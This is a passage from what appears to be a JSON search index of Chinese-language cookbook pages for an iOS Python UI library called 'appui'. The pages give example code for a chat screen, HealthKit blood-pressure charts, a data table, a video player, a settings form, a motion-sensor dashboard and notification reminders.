.button_style(\"bordered_prominent\"),\n ],\n header=\"API\",\n footer=\"示例接口仅用于演示,请替换为自己的 API。\",\n ),\n appui.Section(result_content, header=\"结果\"),\n ]\n )\n .searchable(text=state.query, on_change=set_query)\n .refreshable(load_data)\n .navigation_title(\"网络列表\")\n )\n\n\nappui.run(body, state=state, presentation=\"fullscreen_with_close\") 关键技巧 在按钮回调里发起请求,不要在 body() 里直接请求。 resp.ok 只表示 HTTP 成功,业务字段仍需自行校验;失败时把 error 文案显示出来避免空白页。 动态远程数据使用 ForEach(..., key=...),不要直接把筛选后的下标当身份。 可替换点 当前写法 可替换为 演示接口 你的业务 API `network.get(...)` `network.request(...)` / `network.post(...)` `state.items` `storage.get_json(...)` 作为离线缓存" + }, + { + "id": "appui-cookbook-chat", + "title": "示例:聊天界面", + "subtitle": "消息列表、底部输入、安全区和滚动定位。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-chat/", + "text": "示例:聊天界面 消息列表、底部输入、安全区和滚动定位。 appui 示例 appui cookbook chat 聊天 messages safe_area_inset TextField 聊天界面 本页演示:ScrollViewReader + LazyVStack 构建消息列表、TextField 的 on_submit 与 .submit_label(\"send\") 发送消息、.focused 管理键盘焦点、.animation 在列表变化时做过渡,以及滚动到底部锚点。 预期效果 运行后会出现聊天页面,消息流、底部输入、安全区和发送反馈保持稳定。 可访问性与键盘 发送按钮提供与键盘「发送」键并行的入口,避免只依赖 on_submit 造成的操作单一路径。 若需朗读友好命名,可为气泡外包一层 Group 并添加 .accessibility_label,将「谁说了什么」拼成完整句子(本示例为缩短篇幅未展示)。 keyboard_dismiss(\"interactive\") 与 ScrollViewReader 同屏出现时,注意手势冲突:若发现滚动被键盘手势抢占,可尝试改为 keyboard_dismiss(\"immediately\") 做 A/B。 要点 ScrollViewReader 通过 scroll_to 传入目标子视图的 .id() 字符串;anchor 常用 top / bottom。 TextField(..., on_submit=...) 与视图级 .on_submit(...) 均在 appui 中存在;本例使用构造函数内的 on_submit。 .focused(field_id, equals=...):field_id 为字符串时与 equals 比较以决定焦点。 在 LazyVStack 末尾放置一个极矮的占位视图并标记 .id(\"bottom\"),便于「滚到最新消息」。 完整示例 import appui\n\nstate = appui.State(\n next_id=1,\n messages=[{\"id\": 0, \"who\": \"bot\", \"text\": \"你好,这是可运行的聊天示例。\"}],\n input_text=\"\",\n scroll_to=\"\",\n focus_field=\"input\",\n)\n\n\ndef send_message():\n text = (state.input_text or \"\").strip()\n if not text:\n return\n mid = state.next_id\n state.batch_update(\n messages=list(state.messages) + [{\"id\": mid, \"who\": \"me\", \"text\": text}],\n next_id=mid + 1,\n input_text=\"\",\n scroll_to=\"bottom\",\n focus_field=\"input\",\n )\n\n\ndef bubble(msg):\n mine = msg[\"who\"] == \"me\"\n bubble_bg = \"systemBlue\" if mine else \"secondarySystemBackground\"\n fg = \"white\" if mine else \"label\"\n align = \"trailing\" if mine else \"leading\"\n return appui.HStack(\n [\n appui.Text(msg[\"text\"])\n .padding(10)\n .background(color=bubble_bg, corner_radius=14)\n .foreground_color(fg),\n ],\n alignment=align,\n ).frame(max_width=appui.infinity)\n\n\ndef message_key(msg):\n return msg[\"id\"]\n\n\ndef set_input_text(value):\n state.input_text = value\n\n\ndef body():\n reader = appui.ScrollViewReader(\n scroll_to=state.scroll_to or None,\n anchor=\"bottom\",\n content=[\n appui.LazyVStack(\n [\n appui.ForEach(\n state.messages,\n row_builder=bubble,\n key=message_key,\n ).animation(\"spring\", value=len(state.messages)),\n appui.Color(\"clear\").frame(height=1).id(\"bottom\"),\n ],\n spacing=10,\n )\n .padding(12)\n .keyboard_dismiss(\"interactive\"),\n ],\n )\n composer = appui.HStack(\n [\n appui.TextField(\n \"输入消息…\",\n text=state.input_text,\n on_change=set_input_text,\n on_submit=send_message,\n )\n .submit_label(\"send\")\n .focused(\"input\", equals=state.focus_field)\n .text_field_style(\"rounded_border\")\n .frame(max_width=appui.infinity),\n appui.Button(\"发送\", action=send_message).button_style(\"bordered_prominent\"),\n ],\n spacing=8,\n ).padding(12)\n return appui.NavigationStack(\n appui.VStack(\n [\n reader,\n composer,\n ],\n spacing=0,\n ).navigation_title(\"聊天\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 说明 滚动到底部 :发送后把 state.scroll_to 设为 \"bottom\",与列表末尾占位视图的 .id(\"bottom\") 对齐;如需连续发送仍触发滚动,可在下一次构建前把 scroll_to 清空再由业务写入。 焦点 :focus_field 与 TextField 上的 .focused(\"input\", equals=state.focus_field) 搭配;若需多段输入框,可为不同字段使用不同字符串标识。 动画 :.animation(\"spring\", value=len(state.messages)) 将隐式动画绑定到消息条数变化;亦可在 send_message 外层使用 appui.animate(参见主文档)。 ScrollViewReader 参数摘要 参数 作用 `content` 滚动区域的子视图列表,通常包含 `LazyVStack`。 `axes` `'vertical'`(默认)或 `'horizontal'` 控制滚动方向。 `shows_indicators` 是否显示滚动指示条。 `scroll_to` 设置为与某个子视图 `.id(\"…\")` 相同的字符串时,驱动滚动定位。 `anchor` 与目标视图对齐的锚点,例如 `'bottom'` 便于对齐最新消息。 行为调优 空消息禁止发送 :send_message 已 strip() 并忽略空串,避免插入空白气泡。 键盘与滚动 :keyboard_dismiss(\"interactive\") 绑在消息区域的 LazyVStack 上,便于用户向下轻扫收起键盘;若希望轻扫即发送,可结合 .on_submit 自定义。 大量历史消息 :LazyVStack 只构建可视区域;若单条消息文本极长,可配合 .line_limit(20) 等修饰符防止单格过高。 显式动画包一帧更新 :若希望发送动作必定以动画呈现,定义一个 send_with_animation() 包住 send_message(),再传给 appui.animate(send_with_animation, type=\"spring\")。 手动测试清单 启动后检查机器人首条消息是否出现,气泡左对齐且背景为次级系统灰。 在输入框键入文本,点击「发送」与键盘发送键各一次,确认行为一致。 连续发送多条消息,观察列表是否保持在底部附近(依赖 scroll_to 与 anchor='bottom')。 在输入框聚焦状态下滚动消息列表,确认键盘可随交互收起。 将设备切换深色模式,检查对比度是否仍可接受(必要时为气泡增加描边 border)。 消息模型扩展 示例中的 messages 使用 dict 承载 id / who / text 三字段,便于 ForEach 的 key 去重与左右气泡分支。接入真实业务时常见演进方式如下(仍使用已存在的 State / List / Text 等 API,不引入虚构类型): 时间戳 :为每条消息增加 ts 整数或 ISO 字符串,在 bubble 内用较小字号 Text 显示在气泡下方。 送达状态 :增加 status 字段(如 sending / sent / failed),在 HStack 尾部追加 ProgressView 或 Image(system_name=\"checkmark\")。 分页加载 :将 state.messages 拆为「已加载窗口」与「游标」,在 ScrollView 的 on_appear 或列表顶部 Button(\"加载更多\") 中向列表前端插入历史项;LazyVStack 保持懒构建特性。 服务端同步 :在独立线程拉取新消息后,对 state.messages 做 extend 或整表替换;若更新频率高,可评估将输入框绑定迁移到 ReactiveState 以减少重建范围。 界面刷新排错 现象 排查方向 发送后界面不刷新 确认 `appui.run(body, state=state, ...)` 已传入同一 `state` 实例;避免在 `body` 外重新构造新的 `State`。 `scroll_to` 无效 确认目标 `.id` 字符串与 `scroll_to` 完全一致;占位条高度不宜为 0(示例使用 `frame(height=1)`)。 键盘「发送」无响应 检查是否链式 `.submit_label(\"send\")`;若使用自定义 `return` 键文案,需与 iOS 本地化键名一致。 焦点无法切换 多字段场景下为每个 `TextField` 使用不同的 `field_id` 字符串,并统一由 `state.focus_field` 驱动 `equals`。 发送时的一帧更新 示例用一次 state.batch_update(...) 同时写入新消息、递增 next_id、清空 input_text 并设置 scroll_to。这样比先 append 再改输入框更稳定,能避免用户看到「消息已发送但输入框仍保留旧文本」的中间状态。 如果用户可能连续快速点击发送,可增加 sending 布尔字段并在发送期间禁用按钮;写法上仍只需要 State 字段与 Button(..., action=...)。 延伸阅读 AppUI 概览。 从 ui 迁移到 AppUI。" + }, + { + "id": "appui-cookbook-health-blood-pressure", + "title": "示例:血压分析", + "subtitle": "HealthKit 授权、血压查询、摘要统计和趋势图。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-health-blood-pressure/", + "text": "示例:血压分析 HealthKit 授权、血压查询、摘要统计和趋势图。 appui 示例 appui cookbook health chart 血压 HealthKit query_blood_pressure summarize_blood_pressure Chart 血压分析 演示 health 授权、query_blood_pressure 与 appui 列表、分段 Picker、Chart 展示趋势与记录。 预期效果 运行后会出现血压分析页,授权、最新读数、趋势图和异常空状态都有对应展示。 完整示例 import time\nimport appui\nimport health\n\nREAD_TYPES = [\"blood_pressure_systolic\", \"blood_pressure_diastolic\"]\n\n\ndef sample_records():\n now = time.time()\n rows = []\n values = [(118, 76), (121, 78), (116, 74), (124, 80), (119, 77), (122, 79), (117, 75)]\n for index, pair in enumerate(values):\n ts = now - (len(values) - index) * 86400\n rows.append({\n \"systolic\": pair[0],\n \"diastolic\": pair[1],\n \"unit\": \"mmHg\",\n \"start\": ts,\n \"end\": ts,\n })\n return rows\n\n\ninitial_records = sample_records()\n\nstate = appui.State(\n days=\"30\",\n records=initial_records,\n summary=health.summarize_blood_pressure(initial_records),\n source=\"示例数据\",\n loading=False,\n message=\"真机授权后可读取 HealthKit 血压数据\",\n)\n\n\ndef date_label(timestamp):\n return time.strftime(\"%m/%d %H:%M\", time.localtime(float(timestamp)))\n\n\ndef load_health_data():\n state.loading = True\n end = time.time()\n start = end - int(state.days) * 86400\n records = []\n\n if health.is_available():\n health.request_authorization(read=READ_TYPES)\n records = health.query_blood_pressure(start=start, end=end)\n\n if records:\n source = \"HealthKit\"\n message = f\"读取 {len(records)} 条血压记录\"\n else:\n records = sample_records()\n source = \"示例数据\"\n message = \"未读取到 HealthKit 血压记录,当前显示示例数据\"\n\n state.batch_update(\n records=records,\n summary=health.summarize_blood_pressure(records),\n source=source,\n message=message,\n loading=False,\n )\n\n\ndef set_days(value):\n state.days = value\n load_health_data()\n\n\ndef record_start(item):\n return float(item.get(\"start\", 0))\n\n\ndef chart_rows(field):\n rows = sorted(state.records, key=record_start)[-14:]\n return [\n {\n \"day\": time.strftime(\"%m/%d\", time.localtime(float(item.get(\"start\", 0)))),\n \"value\": float(item.get(field, 0)),\n }\n for item in rows\n ]\n\n\ndef stat_text(field, label):\n summary = state.summary or {}\n stats = summary.get(field, {})\n if not stats:\n return appui.LabeledContent(label, value=\"--\")\n return appui.LabeledContent(\n label,\n value=f'{stats[\"avg\"]:.0f} / {stats[\"min\"]:.0f}-{stats[\"max\"]:.0f} mmHg',\n )\n\n\ndef record_row(item):\n return appui.HStack(\n [\n appui.VStack(\n [\n appui.Text(date_label(item.get(\"start\", 0))).font(\"headline\"),\n (\n appui.Text(item.get(\"unit\", \"mmHg\"))\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\")\n ),\n ],\n alignment=\"leading\",\n ),\n appui.Spacer(),\n (\n appui.Text(\n f'{item.get(\"systolic\", 0):.0f}/'\n f'{item.get(\"diastolic\", 0):.0f}'\n )\n .font(\"title3\")\n .bold()\n ),\n ],\n spacing=12,\n )\n\n\ndef record_key(item):\n return item.get(\"start\", 0)\n\n\ndef body():\n latest = (state.summary or {}).get(\"latest\") or {}\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.LabeledContent(\"数据源\", value=state.source),\n appui.LabeledContent(\"状态\", value=state.message),\n appui.Picker(\n \"时间范围\",\n selection=state.days,\n options=[\"7\", \"30\", \"90\"],\n on_change=set_days,\n ).picker_style(\"segmented\"),\n appui.Button(\"刷新 HealthKit\", action=load_health_data)\n .button_style(\"bordered_prominent\"),\n ],\n header=\"同步\",\n footer=\"本示例只做个人数据统计和可视化,不提供医疗诊断。\",\n ),\n appui.Section(\n [\n appui.LabeledContent(\n \"最近一次\",\n value=(\n f'{latest.get(\"systolic\", 0):.0f}/'\n f'{latest.get(\"diastolic\", 0):.0f} mmHg'\n )\n if latest else \"--\",\n ),\n stat_text(\"systolic\", \"收缩压 均值/范围\"),\n stat_text(\"diastolic\", \"舒张压 均值/范围\"),\n ],\n header=\"摘要\",\n ),\n appui.Section(\n [\n appui.Chart(\n chart_rows(\"systolic\"),\n x=\"day\",\n y=\"value\",\n type=\"line\",\n color=\"systemRed\",\n )\n .frame(height=180),\n appui.Chart(\n chart_rows(\"diastolic\"),\n x=\"day\",\n y=\"value\",\n type=\"line\",\n color=\"systemBlue\",\n )\n .frame(height=180),\n ],\n header=\"趋势\",\n ),\n appui.Section(\n [appui.ForEach(state.records[:20], record_row, key=record_key)],\n header=\"记录\",\n ),\n ]\n )\n .refreshable(load_health_data)\n .navigation_title(\"血压\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 授权时申请 blood_pressure_systolic 与 blood_pressure_diastolic,避免依赖组合类型授权表现。 query_blood_pressure 返回配对 mmHg;无数据时可回落示例集合并标明数据源。 summarize_blood_pressure 仅作统计展示,非诊断依据。" + }, + { + "id": "appui-cookbook-table-data-review", + "title": "示例:表格数据审核", + "subtitle": "Table、筛选、批量动作和 iPhone fallback。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-table-data-review/", + "text": "示例:表格数据审核 Table、筛选、批量动作和 iPhone fallback。 appui 示例 appui cookbook table Table 表格 筛选 审核 表格数据审阅 演示 Table 多列展示与 Picker 在列表模式之间的切换,共用同一数据源。 预期效果 运行后会出现可筛选的数据审核表,支持选择行、查看摘要,并在窄屏上退化为列表体验。 适合场景 iPad 或横屏下需要多列查看的数据审核页。 手机上需要保留列表模式作为窄屏降级。 页面结构 区域 结构 作用 模式切换 `Picker + segmented` 在列表和表格之间切换。 列表模式 `List + ForEach + NavigationLink` 手机上查看详情。 表格模式 `Table` iPad 上快速扫描多列数据。 完整示例 import appui\n\nstate = appui.State(\n mode=\"列表\",\n selected=\"\",\n rows=[\n {\"name\": \"TextField\", \"area\": \"输入\", \"status\": \"OK\", \"owner\": \"Form\"},\n {\"name\": \"Slider\", \"area\": \"控制\", \"status\": \"OK\", \"owner\": \"Controls\"},\n {\"name\": \"VideoPlayer\", \"area\": \"媒体\", \"status\": \"观察\", \"owner\": \"Media\"},\n {\"name\": \"Table\", \"area\": \"数据\", \"status\": \"iPad 优先\", \"owner\": \"Data\"},\n ],\n)\n\ncolumns = [\n {\"title\": \"组件\", \"key\": \"name\"},\n {\"title\": \"区域\", \"key\": \"area\"},\n {\"title\": \"状态\", \"key\": \"status\"},\n]\n\n\ndef set_mode(value):\n state.mode = value\n\n\ndef select_row(row):\n state.selected = f\"{row.get('name', '')} / {row.get('status', '')}\"\n\n\ndef row_detail(row):\n return appui.Form(\n [\n appui.Section(\n [\n appui.LabeledContent(\"组件\", value=row[\"name\"]),\n appui.LabeledContent(\"区域\", value=row[\"area\"]),\n appui.LabeledContent(\"状态\", value=row[\"status\"]),\n appui.LabeledContent(\"负责人\", value=row[\"owner\"]),\n ],\n header=\"详情\",\n )\n ]\n ).navigation_title(row[\"name\"])\n\n\ndef row_key(row):\n return row[\"name\"]\n\n\ndef row_link(row):\n return appui.NavigationLink(\n destination=row_detail(row),\n label=appui.HStack(\n [\n appui.VStack(\n [\n appui.Text(row[\"name\"]).font(\"headline\"),\n appui.Text(row[\"area\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ],\n alignment=\"leading\",\n ),\n appui.Spacer(),\n appui.Text(row[\"status\"]).font(\"caption\").foreground_color(\"systemBlue\"),\n ]\n ),\n )\n\n\ndef list_mode():\n return appui.List(\n [\n appui.Section(\"组件\", [\n appui.ForEach(\n state.rows,\n row_builder=row_link,\n key=row_key,\n )\n ])\n ]\n )\n\n\ndef table_mode():\n return appui.VStack(\n [\n appui.Table(data=state.rows, columns=columns, on_select=select_row).frame(height=260),\n appui.Text(state.selected or \"点选表格行查看选择结果\")\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\"),\n ],\n spacing=12,\n ).padding()\n\n\ndef body():\n content = table_mode() if state.mode == \"表格\" else list_mode()\n return appui.NavigationStack(\n appui.VStack(\n [\n appui.Picker(\"显示方式\", selection=state.mode, options=[\"列表\", \"表格\"], on_change=set_mode)\n .picker_style(\"segmented\")\n .padding(horizontal=16),\n content,\n ],\n spacing=8,\n ).navigation_title(\"数据审阅\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 Table 的 columns 使用 {\"title\", \"key\"} 字典列表;data 为字典列表。 手机窄屏可保留「列表」模式;on_select 接收选中行字典。 表格与列表共用纯数据行,不把视图对象放进 state.rows。 失败路径 表格选中后把结果写入 state.selected,否则用户不知道点选是否生效。 如果业务数据为空,列表模式应显示 ContentUnavailableView,表格模式应显示说明文本。 相关文档 文档 用途 [数据 API](appui-ref-data) `Table`、`ForEach` 和动态数据。 [列表指南](appui-guide-lists) 列表行身份和空状态。" + }, + { + "id": "appui-cookbook-video-player", + "title": "示例:视频播放器", + "subtitle": "VideoPlayer、片源搜索、播放状态和播放设置。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-video-player/", + "text": "示例:视频播放器 VideoPlayer、片源搜索、播放状态和播放设置。 appui 示例 appui cookbook video media 视频 VideoPlayer 片源 autoplay loop AirPlay PiP 视频播放器 MiniApp 演示 appui.VideoPlayer 与 TabView:播放页、可搜索片源列表与播放设置表单。 预期效果 运行后会出现视频播放器页面,片源搜索、播放区域和播放设置保持分区清晰。 完整示例 import appui\n\nDEFAULT_SOURCES = [\n {\n \"id\": \"sintel\",\n \"title\": \"Sintel Trailer\",\n \"url\": \"https://media.w3.org/2010/05/sintel/trailer.mp4\",\n \"tag\": \"默认\",\n },\n {\n \"id\": \"bbb\",\n \"title\": \"Big Buck Bunny\",\n \"url\": (\n \"https://test-videos.co.uk/vids/bigbuckbunny/mp4/h264/720/\"\n \"Big_Buck_Bunny_720_10s_1MB.mp4\"\n ),\n \"tag\": \"测试\",\n },\n]\n\nstate = appui.State(\n selected_id=\"sintel\",\n query=\"\",\n autoplay=False,\n loop=False,\n show_controls=True,\n status=\"正在播放 Sintel Trailer\",\n)\n\n\ndef selected_source():\n for item in DEFAULT_SOURCES:\n if item[\"id\"] == state.selected_id:\n return item\n return DEFAULT_SOURCES[0]\n\n\ndef set_query(value):\n state.query = str(value)\n\n\ndef select_source(source_id):\n item = next((row for row in DEFAULT_SOURCES if row[\"id\"] == source_id), DEFAULT_SOURCES[0])\n state.batch_update(selected_id=source_id, status=f\"已切换到 {item['title']}\")\n\n\ndef toggle_autoplay(value):\n state.batch_update(autoplay=bool(value), status=\"已更新自动播放设置\")\n\n\ndef toggle_loop(value):\n state.batch_update(loop=bool(value), status=\"已更新循环播放设置\")\n\n\ndef toggle_controls(value):\n state.batch_update(show_controls=bool(value), status=\"已更新控制条设置\")\n\n\ndef source_row(item):\n def choose():\n select_source(item[\"id\"])\n\n active = item[\"id\"] == state.selected_id\n icon = \"play.circle.fill\" if active else \"play.circle\"\n return appui.Button(\n action=choose,\n content=appui.HStack(\n [\n appui.Image(system_name=icon).foreground_color(\"systemBlue\"),\n appui.VStack(\n [\n appui.Text(item[\"title\"]).font(\"headline\"),\n (\n appui.Text(item[\"url\"])\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\")\n .line_limit(1)\n ),\n ],\n alignment=\"leading\",\n spacing=3,\n ),\n appui.Spacer(),\n appui.Text(item[\"tag\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ],\n spacing=10,\n ),\n )\n\n\ndef filtered_sources():\n q = state.query.strip().lower()\n if not q:\n return DEFAULT_SOURCES\n return [\n item for item in DEFAULT_SOURCES\n if q in item[\"title\"].lower() or q in item[\"url\"].lower() or q in item[\"tag\"].lower()\n ]\n\n\ndef source_key(item):\n return item[\"id\"]\n\n\ndef source_list_rows():\n sources = filtered_sources()\n if not sources:\n return [\n appui.ContentUnavailableView(\n \"没有匹配片源\",\n system_image=\"magnifyingglass\",\n description=\"换个关键词,或清空搜索条件。\",\n )\n ]\n return [appui.ForEach(sources, row_builder=source_row, key=source_key)]\n\n\ndef player_page():\n item = selected_source()\n player = appui.VideoPlayer(\n url=item[\"url\"],\n autoplay=state.autoplay,\n loop=state.loop,\n show_controls=state.show_controls,\n presentation=\"inline\",\n allows_fullscreen=True,\n allows_pip=True,\n allows_airplay=True,\n ).frame(height=240)\n details = appui.Form(\n [\n appui.Section(\n [\n appui.LabeledContent(\"标题\", value=item[\"title\"]),\n appui.LabeledContent(\"标签\", value=item[\"tag\"]),\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Text(item[\"url\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ],\n header=\"当前片源\",\n ),\n ]\n )\n return appui.NavigationStack(\n appui.VStack([player, details], spacing=0)\n .navigation_title(\"播放器\")\n )\n\n\ndef sources_page():\n rows = source_list_rows()\n return appui.NavigationStack(\n appui.List([\n appui.Section(\n rows,\n header=\"片源\",\n footer=\"点击片源会立即更新播放页。\",\n )\n ])\n .searchable(text=state.query, on_change=set_query)\n .navigation_title(\"片源\")\n )\n\n\ndef settings_page():\n return appui.NavigationStack(\n appui.Form(\n [\n appui.Section(\n [\n appui.Toggle(\"自动播放\", is_on=state.autoplay, on_change=toggle_autoplay),\n appui.Toggle(\"循环播放\", is_on=state.loop, on_change=toggle_loop),\n appui.Toggle(\"显示控制条\", is_on=state.show_controls, on_change=toggle_controls),\n ],\n header=\"播放设置\",\n ),\n ]\n ).navigation_title(\"设置\")\n )\n\n\ndef body():\n return appui.TabView(\n [\n appui.Tab(\"播放\", system_image=\"play.rectangle\", tag=0, content=player_page()),\n appui.Tab(\"片源\", system_image=\"list.bullet\", tag=1, content=sources_page()),\n appui.Tab(\"设置\", system_image=\"gearshape\", tag=2, content=settings_page()),\n ],\n selection=0,\n )\n\n\nappui.run(body, state=state, presentation=\"fullscreen_with_close\") 关键技巧 用 VStack 把 VideoPlayer 固定在页面上方,下方再用 Form/List,避免把播放器塞进普通列表段落。 片源列表用 List(...).searchable(...),动态行通过 ForEach(..., key=...) 保持稳定身份;无匹配时展示空状态。 播放器、地图、WebView 这类大媒体视图固定在页面主区域,下方再放 Form/List 控件。 VideoPlayer 可配 presentation、allows_fullscreen、allows_pip、allows_airplay 等。" + }, + { + "id": "appui-cookbook-settings", + "title": "示例:设置表单", + "subtitle": "原生 Form、Section、输入控件和保存按钮。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-settings/", + "text": "示例:设置表单 原生 Form、Section、输入控件和保存按钮。 appui 示例 appui settings form 设置 Form Section TextField Toggle Picker 示例:设置表单 适合做偏好设置、账号资料、功能开关页。表单使用 Form + Section,保存按钮放在 toolbar,所有输入控件都绑定命名回调。 预期效果 运行后会出现原生设置表单,修改字段会显示未保存状态,点击保存后状态反馈更新。 完整代码 import appui\n\nstate = appui.State(\n name=\"Ada\",\n notifications=True,\n theme=\"System\",\n volume=45,\n last_saved=\"Never\",\n)\n\n\ndef set_name(value):\n state.name = value\n\n\ndef set_notifications(value):\n state.notifications = value\n\n\ndef set_theme(value):\n state.theme = value\n\n\ndef set_volume(value):\n state.volume = value\n\n\ndef save_settings():\n state.last_saved = f\"Saved for {state.name}\"\n\n\ndef body():\n account = appui.Section(\"Account\", [\n appui.TextField(\"Display name\", text=state.name, on_change=set_name),\n appui.Toggle(\"Notifications\", is_on=state.notifications, on_change=set_notifications),\n ])\n appearance = appui.Section(\"Appearance\", [\n appui.Picker(\n \"Theme\",\n selection=state.theme,\n options=[\"System\", \"Light\", \"Dark\"],\n on_change=set_theme,\n ).picker_style(\"segmented\"),\n appui.Slider(\n value=state.volume,\n minimum=0,\n maximum=100,\n step=5,\n label=f\"Volume {state.volume}\",\n on_change=set_volume,\n ),\n ], footer=\"使用语义色,页面会自动适配深色模式。\")\n\n summary = appui.Section(\"Summary\", [\n appui.LabeledContent(\"Theme\", value=state.theme),\n appui.LabeledContent(\"Last saved\", value=state.last_saved),\n ])\n\n form = appui.Form([account, appearance, summary]).navigation_title(\"Settings\")\n\n return appui.NavigationStack(\n form.toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.Button(\n action=save_settings,\n content=appui.Label(\"Save\", system_image=\"checkmark\"),\n ).button_style(\"bordered_prominent\"),\n )\n ])\n )\n\n\nappui.run(body, state=state) 可复用点 设置页默认用 Form + Section。 输入控件的 on_change 传命名函数。 保存动作放在 ToolbarItem 里,并且点击后要有可见状态变化。 需要分段选择时用 .picker_style(\"segmented\"),不要手写一排按钮代替。" + }, + { + "id": "appui-cookbook-motion-haptics-dashboard", + "title": "示例:运动传感器仪表盘", + "subtitle": "motion 姿态采样、气压高度、haptics 反馈和 Chart。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-motion-haptics-dashboard/", + "text": "示例:运动传感器仪表盘 motion 姿态采样、气压高度、haptics 反馈和 Chart。 appui 示例 appui cookbook motion haptics 运动 motion haptics get_attitude start_altimeter Chart 运动传感器仪表盘 演示 motion 姿态与气压高度采样、haptics 反馈,以及 Chart 展示姿态角。 预期效果 运行后会出现运动传感器仪表盘,姿态采样、图表和触觉反馈按钮都有明确状态。 完整示例 import math\nimport time\n\nimport appui\nimport haptics\nimport motion\n\nstate = appui.State(\n status=\"点击采样读取传感器\",\n roll=0.0,\n pitch=0.0,\n yaw=0.0,\n gravity=\"--\",\n rotation=\"--\",\n altitude=\"--\",\n samples=[\n {\"axis\": \"roll\", \"value\": 0},\n {\"axis\": \"pitch\", \"value\": 0},\n {\"axis\": \"yaw\", \"value\": 0},\n ],\n)\n\n\ndef degrees(value):\n return float(value or 0) * 180.0 / math.pi\n\n\ndef format_vec(data):\n if not data:\n return \"--\"\n return f'x {data.get(\"x\", 0):.2f}, y {data.get(\"y\", 0):.2f}, z {data.get(\"z\", 0):.2f}'\n\n\ndef sample_motion():\n if not motion.is_available():\n state.status = \"当前设备不支持运动传感器\"\n haptics.notification(\"error\")\n return\n\n motion.start_updates(interval=1 / 30)\n time.sleep(0.15)\n attitude = motion.get_attitude() or {}\n gravity = motion.get_gravity()\n rotation = motion.get_rotation_rate()\n motion.stop_updates()\n\n roll = degrees(attitude.get(\"roll\", 0))\n pitch = degrees(attitude.get(\"pitch\", 0))\n yaw = degrees(attitude.get(\"yaw\", 0))\n\n state.batch_update(\n status=\"采样完成\",\n roll=roll,\n pitch=pitch,\n yaw=yaw,\n gravity=format_vec(gravity),\n rotation=format_vec(rotation),\n samples=[\n {\"axis\": \"roll\", \"value\": roll},\n {\"axis\": \"pitch\", \"value\": pitch},\n {\"axis\": \"yaw\", \"value\": yaw},\n ],\n )\n haptics.selection()\n\n\ndef sample_altitude():\n motion.start_altimeter()\n time.sleep(0.2)\n alt = motion.get_altitude()\n motion.stop_altimeter()\n if not alt:\n state.altitude = \"未读取到气压高度\"\n haptics.notification(\"warning\")\n return\n state.altitude = f'{alt.get(\"relative_altitude\", 0):.2f} m / {alt.get(\"pressure\", 0):.2f} kPa'\n haptics.notification(\"success\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Button(\"采样姿态\", action=sample_motion)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"采样气压高度\", action=sample_altitude),\n ],\n header=\"采样\",\n ),\n appui.Section(\n [\n appui.LabeledContent(\"Roll\", value=f\"{state.roll:.1f}°\"),\n appui.LabeledContent(\"Pitch\", value=f\"{state.pitch:.1f}°\"),\n appui.LabeledContent(\"Yaw\", value=f\"{state.yaw:.1f}°\"),\n appui.LabeledContent(\"重力\", value=state.gravity),\n appui.LabeledContent(\"旋转\", value=state.rotation),\n appui.LabeledContent(\"气压高度\", value=state.altitude),\n ],\n header=\"读数\",\n ),\n appui.Section(\n [\n appui.Chart(\n state.samples,\n x=\"axis\",\n y=\"value\",\n type=\"bar\",\n color=\"systemTeal\",\n )\n .frame(height=220),\n ],\n header=\"姿态角\",\n ),\n ]\n ).navigation_title(\"运动\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 先用 motion.start_updates() 启动采样,读 get_attitude() 等,再尽快 motion.stop_updates(),避免长时间占用传感器;需要控制采样率时可像示例一样传 interval=1 / 30。 气压用 start_altimeter / get_altitude / stop_altimeter。 图表数据用 State.batch_update 一次写回;反馈用 haptics API。" + }, + { + "id": "appui-cookbook-notification-reminder", + "title": "示例:通知提醒", + "subtitle": "notification 权限、本地提醒、取消操作和 storage 表单偏好。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-notification-reminder/", + "text": "示例:通知提醒 notification 权限、本地提醒、取消操作和 storage 表单偏好。 appui 示例 appui cookbook notification storage 通知 提醒 notification.schedule request_permission remove_pending 通知提醒 MiniApp 演示 notification 请求权限与 schedule,并用 storage 持久化表单偏好。 预期效果 运行后会出现通知提醒表单,权限、延迟分钟、本地提醒和取消操作都有可见反馈。 完整示例 import appui\nimport notification\nimport storage\n\nSTORE_KEY = \"reminder_demo_settings\"\n\nstate = appui.State(\n title=\"喝水提醒\",\n body=\"该休息一下了\",\n minutes=30,\n sound=True,\n status=\"未安排\",\n loaded=False,\n)\n\n\ndef load_saved_settings():\n if state.loaded:\n return\n state.loaded = True\n saved = storage.get_json(STORE_KEY, default={}) or {}\n state.title = saved.get(\"title\", state.title)\n state.body = saved.get(\"body\", state.body)\n state.minutes = int(saved.get(\"minutes\", state.minutes))\n state.sound = bool(saved.get(\"sound\", state.sound))\n\n\ndef save_settings():\n storage.set_json(STORE_KEY, {\n \"title\": state.title,\n \"body\": state.body,\n \"minutes\": state.minutes,\n \"sound\": state.sound,\n })\n\n\ndef set_title(value):\n state.title = str(value)\n save_settings()\n\n\ndef set_body(value):\n state.body = str(value)\n save_settings()\n\n\ndef set_minutes(value):\n state.minutes = int(value)\n save_settings()\n\n\ndef set_sound(value):\n state.sound = bool(value)\n save_settings()\n\n\ndef schedule_reminder():\n perm = notification.request_permission()\n if not isinstance(perm, dict) or not perm.get(\"granted\"):\n state.status = 